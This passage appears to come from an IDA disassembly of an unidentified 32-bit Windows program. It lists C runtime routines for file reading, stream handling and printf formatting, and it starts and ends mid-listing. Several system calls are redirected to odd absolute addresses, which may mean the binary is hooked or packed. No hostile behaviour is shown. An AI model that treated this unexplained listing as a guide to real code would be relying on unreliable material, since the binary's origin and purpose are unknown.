short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC700 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC600h[eax*4] mov eax, dword_4DC600[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 26F0000h test eax, eax jnz short loc_41F1E4 call near ptr 267064Ch nop push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB2A8, 9 mov dword_4DB2AC, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26F0000h test eax, eax jnz short loc_41F285 nop call near ptr 267064Ch test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB328 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB494 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB490 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5E0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB5C8 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB5C8 mov [edi+ecx], eax mov eax, dword_4DB5C8 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C328 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C328 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA38 jz short loc_41F5EA cmp esi, offset dword_43CA58 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC600[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C980 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C328 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C544 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C540 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8D0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8DC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8D4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C540 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j 